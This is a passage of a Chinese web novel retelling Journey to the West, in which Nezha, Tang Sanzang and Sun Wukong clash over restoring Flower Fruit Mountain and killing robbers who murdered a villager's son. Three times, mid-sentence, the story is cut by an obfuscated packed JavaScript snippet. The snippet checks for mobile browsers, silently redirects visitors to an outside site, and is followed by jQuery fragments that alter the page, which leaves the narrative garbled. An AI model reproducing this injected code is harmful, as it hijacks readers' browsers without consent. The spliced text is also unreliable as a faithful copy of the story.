“少说什么眼拙不眼拙的。”哪吒忽然支棱起身子,表情正经地问道,“小爷一直有个问题,和尚你到底图啥?就非要取这劳什子经?”
别的先不说,就冲唐僧这死磕的劲儿,哪吒倒真服气。
这和尚打从长安城出来就没歇过脚,清晨鸡没叫就出发,日头落山才歇脚,遇着寺庙就挂单,碰上驿站就打尖,荒山野岭裹着袈裟也能倒头就睡。
早起常是空着肚皮赶路,晌午头饿急眼了就啃两口干粮,晚上全看化不化得到斋饭。这哪是取经?分明是拼命来了,田里拉犁
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162855|163632||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的老黄牛都没他能熬!"
唐僧捻着佛珠道:“自然是为了传扬佛法,救苦救难,教世人向善,换天下太平。”
“那路边饿成皮包骨的叫花子你咋不救?双叉岭那群吃人不吐骨头的虎妖你咋不度?”哪吒翘着脚丫在床上晃悠,字字往心窝子里戳,“非得跑十万八千里去西天,难不成西天的经才能救这世间的难?”
见和尚噎住了,哪吒翻个身补刀:“就比如眼下这户人家,都穷成这副模样了,难不成你取了经就能救他们吗?”
“众生皆苦……贫僧正是……”唐僧支吾半晌,扭头却见小祖宗在床上早睡得流哈喇子了。
早先在长安城里,唐僧满眼都是朱门酒肉、绫罗绸缎,世人被贪念嗔怨牵着鼻子走,一个个往火坑里跳。他这才铁了心要取真经,想着用佛法渡化世人。
可这趟西行路却是越走心越凉,要说大唐地界还算太平,老百姓日子过得有滋有味。但刚挨着边关地界,却是满山遍野的妖怪比赶集的还多。
土地公先前跟他提醒过,越往西走,妖怪越多。就双叉岭那几个不入流的虎精,都能把官道糟践得白骨露野。等碰上修炼千年的妖王,老百姓怕是连砧板上的肉都不如。
若是要世人皈依佛法、诚心礼佛,先得让人家灶上有热粥、身上有棉袄,这才有闲心盘腿打坐念经。肚子饿得前胸贴后背时,谁还在乎那四大皆空?天天担心着朝不保夕,谁还在意那来世如何。
本该做晚课的唐僧盘腿坐在炕上,哪吒那些疑问却一直在耳朵旁边打转,搅得他内心难安。他索性把油灯挑亮,铺开黄麻纸,先记下这半月遇着的风俗见闻,又把山川图细细描了份副本,盘算着到下个城镇,连信带图一并寄回长安城。
不过,这杂七杂八的见闻总得有个名目。唐僧拿着笔杆子思忖片刻,最后轻轻落下五个字——《大唐西域记》。
唐僧这会子哪能料到,这本他一时兴起记下的册子,就如巨石落入水中,在大唐激起了千尺浪。
而这一切的源头,不过是哪吒的一句提问而已。
天刚擦亮,哪吒与唐僧收拾好包袱就要走,硬是被老丈拽着又吃了顿热乎的。哪吒心里跟明镜似的——昨晚给的是房钱,今早这顿得另算。临出门前,趁老头舀水的功夫,又溜到灶房边往小孩裤兜里塞了些碎银子。
“那猴子不是说一大早就到?怎么还不见人影?”走出两里地,哪吒踢着石子嘟囔。虽说他嘴上嫌弃孙悟空分功德,但多个跑腿把门的总归方便,好比前头探路时能留个人看着和尚,省得这呆子又捅娄子。
“八成是路上绊住脚了。”唐僧话音还没落地,前面忽然响起几声鬼哭狼嚎,六个敞怀露胸的莽汉从土坡后窜出来,手里刀枪棍棒寒光闪闪,惊得马儿直撂蹶子。
“秃驴听着!”领头的刀疤脸扛着把砍刀,“留下马匹包袱,爷爷们发发善心,赏你们爬着过去!”
哪吒两眼放光,这连日来净跟豺狼虎豹较劲,正愁没人解闷儿,这不就撞上送乐子的了?今儿这功德又该进账了!
21.第 21 章
再说孙悟空那头,他刚使个筋斗云翻上天,就正巧撞见三太子踩着风火轮慢悠悠打眼前晃过。他哪晓得这位爷自从哪吒跟着唐僧上路,每日巡查三界的空档,总要绕道来瞄两眼,还当是凑巧碰上的缘分。
“刚撞见个小哪吒,转头又碰上个大的。”孙悟空乐呵呵搭话,“三太子近来可好?”
“恭贺大圣脱得五行山劫难。”三太子脚下顿了顿,显然觉得有些意外,“只是既已重获自由身,怎不去护着取经人?反倒在此处闲逛?”
他说是担心那唐朝和尚,实则是怕没人镇着哪吒那混世小魔头,再惹出什么乱子来。
“有那小鬼头守着和尚,出不了大岔子。”孙悟空摆手笑道,“只是俺老孙这五百年没回过花果山,不知孩儿们如今可还安生,因此特意告假回去看看。”
孙悟空说着猴眼突然滴溜一转:“倒是你,刚刚那小崽子跟你活脱脱一个模子刻的!风火轮、火尖枪样样不差,该不会是你在哪偷摸生的孩子吧?”
其他人就算这般想,也大多藏在心里不会说出来,但孙悟空向来心直口快,想到什么就说什么,也不管别人能不能下得来台。
“实不相瞒,这是师尊前年新收的关门弟子。”三太子眼角跳了跳,如今天庭里说他有私生子的消息不胫而走,也不知是谁传出去的,“想着磨磨他那脾气,才打发去取经路上磨炼心性,今后还请大圣多担待些。”
他想起太乙真人叮嘱,却没有说这小哪吒是从别的小千世界过来的,万一被有心人盯上,还不知会惹出什么乱子。
“原来是你小师弟啊!”孙悟空也没往深里琢磨,信了这番说辞,“三太子得空不?要不跟俺老孙去花果山转转,当年在天庭没少蹭你的琼浆玉液,今儿请你喝猴儿酿的百果酒,管够!”
“那敢情好!”
两道流光直奔东去,眨眼落在傲来国地界。待按下云头细瞧,孙悟空差点从筋斗云上栽下来——这花果山哪还有半分洞天福地的样儿?整座山秃得跟和尚脑袋似的,熏黑的山岩东倒西歪,满地都是焦木桩子,连棵桃子树都寻不见,原先瀑布挂着的地方,如今就剩半截坍塌的石崖。
“这是咋回事!”孙悟空金睛火眼蒙了层水雾,扯着嗓子吼了半天,才从石缝里钻出个灰头土脸的老猴,这才晓得五百年前他大闹天宫后,二郎神领着梅山七怪放火烧山,猴崽子们只能钻地洞躲灾,这些年全靠吃苔藓喝露水过活。
“合着是俺老孙害了孩儿们……”孙悟空攥着老猴的手直哆嗦,转头冲三太子扯出个比哭还难看的笑,“对不住了兄弟,说好的百果酒怕是……”
“大圣的酒我可记在账上了。”三太子却从身上摸出卷画轴,金光乍现间,山河社稷图迎风招展,“正巧前些日子师尊赏了这宝贝,今儿倒派上用场。”
三太子嘴上这么说,展开画卷时心头突地一跳:难道师父他老人家早先就料到这出了?
要说这山河社稷图果真玄妙,里头自成一方小天地,收妖纳物不在话下,连山水景致都能原模原样从画上拓下来。三太子踩着风火轮嗖嗖绕花果山转了三圈,那图卷跟泼墨似的洒下一片青光,所过之处焦土就跟重新活过来似的——枯树上蹿出嫩芽,石缝里冒出清泉,仿佛是硬生生把春天拽回了这片土地。
孙悟空眼瞅着这光秃秃的山头跟染了色似的,桃树李树跟赶集似的往外冒,眨眼间脆桃压在枝头直打晃,惊得从洞里钻出来的猴崽子们吱哇乱叫。
山涧瀑布轰隆隆冲下来,白练似的水帘子哗啦啦往下砸,勉强又有了几分水帘洞的样子,老猴小猴乐得冲进泉水里打起了滚。
“这回人情可欠大发了……”孙悟空盯着满山乱窜的猴崽子,顺手从桃树上摘下个水灵桃,“往后怕是要给三太子当牛做马还债喽!”
“大圣言重了。”三太子掐诀收回山河社稷图时,额角早冒了层薄汗,但他嘴上还装轻松,“往后我那小师弟,还指望大圣多照应呢。”
“包在俺老孙身上!”孙悟空一把勾住三太子肩头,就算没这茬,就冲那小哪吒把他从五行山下刨出来的情分,这差事他也接定了,“俺保准把那小祖宗当菩萨供着,但凡少根汗毛,老孙提头来见!”
孙悟空驾着筋斗云赶了整夜的路,连口水都没顾上喝,胡乱摘了几个山桃就往回赶,结果还没落地就听见哪吒喊得震天响。
“坏了坏了!”孙悟空心里咯噔一下,三太子刚刚才交代要照看好这小祖宗,转眼就出了幺蛾子——别是和尚喂了妖怪?还是小哪吒又遇见什么事儿了?
他急得一个猛子扎下来,定睛细看时才松口气——混天绫五花大绑捆着五个毛贼,还有个倒霉蛋脑袋磕在青石上断了气,倒是唐僧与哪吒不知道在争辩什么。
唐僧捻着佛珠直叹气:“阿弥陀佛,这虽是剪径的强人,也该绑送衙门发落。你这般不管三七二十一打杀了,平白添了多少杀业!”
“屁话!”哪吒翻着白眼打断,“强盗举着刀扑过来,难不成我还得把脖子凑上去?等他们砍了我脑袋,你再去跟阎王讲道理去?”
不过哪吒真没想一上来就下死手——刚才那六个汉子扑上来时,他不过拿混天绫轻轻一甩,领头那个就跟纸糊似的,咣当撞上青石棱子,当场就没了声响。他往常揍的都是铜皮铁骨的妖怪,哪知道凡人这么脆皮啊!
这头吵得正凶,连孙悟空凑到跟前都没人搭理。孙悟空听明白事情缘由后,扛着金箍棒插话:“你这和尚不能不分青红皂白啊!要不是这小崽子护着你,你这会早成强盗的刀下鬼了!”
孙悟空哪会向着唐僧说话?依照他的脾气,别说有人敢亮刀子,就是冲他呲个牙,都得抡棍子追出十里地。这都被人欺到脑门顶了还要装孙子说软话?他是真不知道这唐僧脑回路是怎么长的。
见不知何时回来的孙悟空也站在哪吒这边,唐僧
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15174227|163632||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
直摇头:“他们方才分明说只劫财不害命!纵使有罪,也该由王法发落。你们仗着神通胡乱杀人,与那妖魔有何两样?”
哪吒平生最烦有人说他是妖魔,他本来懒得和这迂腐和尚多费口舌,可到底还是接话道:“这帮人在这条商道横行霸道这么多年,多少条人命都折在他们手里,怎么就杀不得了?”
“你可亲眼见到他们杀人了?证据呢?”唐僧突然较起真来,“若是在城里市集上,寻常百姓冲撞了你,你也这般喊打喊杀,我们往后还走不走得官道?”
唐僧真正想说的哪里是怕百姓遭殃,分明是怕自己性命不保。身边跟着这两个能移山填海的煞星,抬抬手就能叫他魂飞魄散,搁谁身上不心惊胆战?
孙悟空先前还不知这和尚这般执拗,冷笑道:“你这和尚好没道理!强盗杀不得,倒由着他们祸害过路人。照你这般说,往后但凡有人再死在这条道上,可都得算在你头上。”
“你且问问他们可曾伤过人命?”唐僧仍固执地偏着头。
瘫在地上的五个强盗早吓得魂不附体,见两边争执起来,赶紧扯着嗓子喊冤:“圣僧慈悲!我们兄弟几个不过讨些买路钱,向来是只劫财不害命啊!”
原本他们是盯上了那匹雪白神驹,哪想到那个红绫小子抬手就把他们老大捏死了。眼见这呆和尚一直护着他们,连忙抓住这根救命稻草。
“你们瞧瞧!”唐僧一副看穿一切的模样。
哪吒盯着那几个强盗身上翻涌的黑气直皱眉——他生来对凶煞之气最是敏感,这些人周身黑气缭绕,一看就不是什么善茬,也不知手上害了多少人命,居然还敢睁眼说瞎话!他怒火中烧,当下抄起火尖枪,直接就要朝那五个强盗杀过去。
“你这魔头!还想动手!”唐僧却一个箭步挡在前面,“贫僧就算是死,也不能让你们再造杀孽!”
孙悟空也对这和尚叹为观止了,他生怕哪吒一枪在这和尚身上戳个窟窿,连忙道:“我们这不都是为了你好,你怎么是非不分?”
唐僧摆出大义凛然的样子:“贫僧怎会不辨是非?正是看得清黑白曲直,才不能装聋作哑!”
哪吒转着火尖枪冷笑:“那你还不如把眼睛都闭上吧!就你这眼神儿,不过是个睁眼瞎,睁着眼也认不出魑魅魍魉!”
要说斗嘴皮子,这帮和尚天天在庙里辩经论道,哪吒和孙悟空哪说得过他。眼见唐僧梗着脖子挡在强盗前头,一副要和这些强盗同生共死的架势,哪吒和孙悟空大眼瞪小眼,心里直骂娘——和尚倒给强盗当起保镖来了!这叫什么事儿啊!
更绝望的是孙悟空,他本来是个暴脾气,但他现在左边是哪吒这座随时准备喷发的活火山,右边是唐僧这个油泼不进的倔头驴,平日里能把天宫搅得底朝天的齐天大圣,这会儿反倒是成了和稀泥的。
要不干脆让小哪吒一枪把这和尚捅了算了,自个儿继续回五行山下趴着去吧。
22.第 22 章
“小长老!小长老!”
兴许是他们耽搁久了,山道上传来颤巍巍的呼喊,原是昨夜借宿的老丈正跌跌撞撞追来。他跑得气喘吁吁,直到瞅见一行人的背影才扶着老松喘气:“可算……可算追上了……”
“老爷子慌什么?”哪吒还以为是落下了什么东西,可他早上明明还挨着检查过。
“这些钱万万收不得!”老丈攥着从孙儿那拿回的银两,急得直摇头,“昨夜给的那些都够买半车米面了,今早又往我孙儿兜里塞银子,就一点粗茶淡饭,哪值当这些钱!”
哪吒满不在乎地摆手:“这点碎银子算个啥!”
“小老儿我穷归穷,总还能凑合过,骨气还是有的!收了您这银子,不成要饭的了?”老丈这才瞥见地上捆着的强盗,“这……这是闹的哪出啊?”
哪吒三言两语把事情说了个大概,老丈听完直摇头:“这地界哪还有官府?当官的早被他们喂饱了,这些年连个衙役影子都没见着。”
唐僧依然固执己见:“那也万万没有行凶的道理。”
“那照你这说法,老百姓没辙,官府也装瞎,难道就等着你天天念经感化他们?”哪吒气不打一处来。
孙悟空眼珠子一转有了主意,冲老丈招招手:“老爷子您给说句实在话,这伙人在道上可曾害过性命?”
“这话可不敢乱说……”老丈瞟了眼被捆的强盗,声音压得跟蚊子哼似的,“乡里乡亲都说他们心狠手辣,可咱毕竟也没亲眼见过……”
若是亲眼见过,怕是连小命都保不住了吧。不过后半句被他咽进了肚子里,万一这几个强盗有漏网之鱼,回头遭殃的可是自家。
“天地良心啊!咱们兄弟连只鸡都不敢宰!”被混天绫勒得动弹不得的强盗扯着脖子嚷,抡着胳膊在空中乱挥,他深知这时若是回答慢了,自己这几个可就交代在这了。
孙悟空正抓耳挠腮没个主意,老丈突然踉跄着扑到那强盗跟前,一把抓住他的胳膊:“这靛青布包边的猪皮护腕!我儿子贴身戴着的东西,怎会落到你手上!”
那强盗心知大事不好,脸皮唰地褪了血色:“路……路上捡的……”
“你放屁!”老丈的手指颤巍巍戳到强盗鼻尖上,他此时岂能不明白发生了什么,“这针脚是我儿媳妇熬了一宿绣的!之前他俩说卖了山货就回来过年,结果这一走就是两年……”
话没说完他就瘫在地上捶胸,“我那苦命的孩儿啊!”
山风卷着老丈撕心裂肺的哭嚎,震得唐僧后退半步,那几个强盗还想狡辩,哪吒手中混天绫骤然收紧,勒得他们骨头咔咔响:“再扯半句谎,小爷就让你们浑身骨头碎成八百段!”
“我说!我说!”那强盗疼得直翻白眼,“那对卖山货的小夫妻,他们……他们非得护着钱袋子……”
这下倒豆子似的全招了——原来这伙人专劫过路商贩,老丈的儿子儿媳就是被他们捅了七八个血窟窿扔山沟里的。
“你还要护着这些强盗吗?”哪吒早已听得气愤不已,他冷冷看向唐僧,“还信他们满口胡言吗?”
唐僧像被掐住脖子的公鸡,面皮涨得通红,这位平日里能说会道的大唐高僧,这会儿嘴皮子跟缝死了似的。他这才回过味来,自己护着的竟是群吃人不吐骨头的恶鬼!他后怕得脊梁骨发凉,偏还要强撑着问:“你想如何处置?”
哪吒盯着正捶打着强盗哭嚎的老丈,火尖枪往地上一戳:“既然天老爷打盹,官老爷装瞎,那小爷就是他们的现世报!”
哪吒可不管这世间是什么道理,管他是妖怪还是凡人,但凡作恶多端,撞在他手里准没跑!火尖枪捅他个透心凉,三昧真火烧他个魂飞魄散,这才是他哪吒办事的规矩!
“痛快!痛快!”刚刚憋屈了半天的孙悟空,听着哪吒的话心中甚是畅快,踩着块山石拍大腿,“咱们就在这官道旁立块碑,把这帮杂碎的罪状刻得明明白白!让过路的都晓得,往后谁敢在这条道劫财害命,这就是下场
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15175591|163632||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
!”
唐僧垂着眼皮不搭腔,心里还是直打颤——就算他错看了人,就算这些强盗满手血腥,可若要用新的血债来偿旧的血债,以眼还眼,以牙还牙,这世间苦难哪天才是个头?
五个强盗见唐僧这尊活菩萨背过身去,顿时炸了锅似的哭嚎。有趴在地上对天发誓要改邪归正的,有扯着嗓子咒骂哪吒不得好死的,有鼻涕眼泪糊了满脸求饶命的,可哪招都不顶用,混天绫却是越收越紧。
唐僧死死攥着白马缰绳,指节都发了青。他拦又拦不住,看又看不下去,干脆牵着白马深一脚浅一脚往西走,就跟丢了魂似的,蔫头耷脑沿着官道越走越远。
待转过几处山坳,身后哭爹喊娘的动静听不见了,前头山道上突然模模糊糊冒出个人影。定睛看时,是个满头银丝梳得油光水滑的老太太,胳膊肘挎着竹篮子,里头齐齐叠着两件棉袍,上头各摆着顶绣花帽。唐僧紧着往路边让道,白马也懂事地贴边站着。
这老太太挎着竹篮子沉甸甸往下坠,却不挪步子,反倒眯着眼把唐僧从头到脚扫了个遍:“这位长老好生面善,怎的孤零零走这荒山野岭?”
唐僧连忙双手合十行礼:“贫僧唐三藏,从东土大唐而来,要往西天拜佛取经。”
这是他常挂在嘴边的一句话,说得滚瓜烂熟,就跟顺口溜似的。
“西天灵山远在天竺国大雷音寺,离这隔着十万八千里呢!”老太太直摇头,“你单枪匹马,既没个同行伴当,又没个徒弟护持,如何走得通这险路?”
其实光凭这句话,这老太太就漏了馅儿,寻常人家哪知道西天灵山在哪儿?更别说算得清十万八千里的脚程了。
但唐僧却听不出这话里的纰漏,只是竖起手掌说得恳切:“路虽远,行则将至。”
“好好好,长老有这般恒心毅力,倒真像是能到西天的样子。”老太太满意地点着头,又伸手从篮子里捧出衣物递过去,“我这有两件新棉袍,两顶绣花帽,却正好合你用。”